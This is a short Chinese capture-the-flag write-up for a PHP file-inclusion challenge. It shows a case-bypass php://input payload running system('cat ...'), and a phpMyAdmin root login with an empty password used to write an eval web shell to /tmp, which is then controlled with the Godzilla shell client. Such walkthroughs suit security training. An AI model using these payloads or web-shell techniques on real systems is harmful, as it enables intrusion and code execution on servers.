题目描述

来源 XTCTF

Solution

打开页面,观察源代码:

006-1.png

1、show_source():用于高亮显示源码;

2、strstr($haysack: string, $needle: mixed) -> string:返回 haystack 字符串从 needle 第一次出现的位置开始到 haystack 结尾的字符串(大小写敏感);

3、str_replace($search: mixed, $replace: mixed, $subject: mixed) -> mixed:返回一个字符串或数组,该字符串或数组是将subject中全部的search都被replace替换后的结果;

4、php://input可以获取 POST 数据流,当它与包含函数结合时,php://input流会被当作 php 文件执行,从而导致任意代码执行;


Solution 1

我们用 dirsearch 扫一下目录,发现一个有意思的文件:

006-2.png

打开看看,发现allow_url_fopen=onallow_url_include=on

006-3.png

由此我们可以利用文件包含漏洞来完成任意代码执行。我们使用 Brupsuite 的 Repeater(重放器),用Php://大小写绕过发送请求:

006-4.png

得知 Flag 文件的位置所在,我们构造 Payload:<?php system('cat fl4gisisish3r3.php');

006-5.png


Solution 2

根据之前 dirsearch 扫出来的目录,我们发现有 phpmyadmin,点击 URL:http://111.200.241.244:53007/phpmyadmin/index.php,账号为root,密码为空,直接连进,然后利用 SQL 查询写入一句话木马:

  1. select "<?php eval($_POST['shell']);" into outfile '/tmp/banana.php'

006-6.png

然后打开哥斯拉,连接 WebShell,URL 是http://111.200.241.244:53007?page=/tmp/banana.php,密码是shell

006-7.png

我们在/目录下找到 Flag 文件:

006-8.png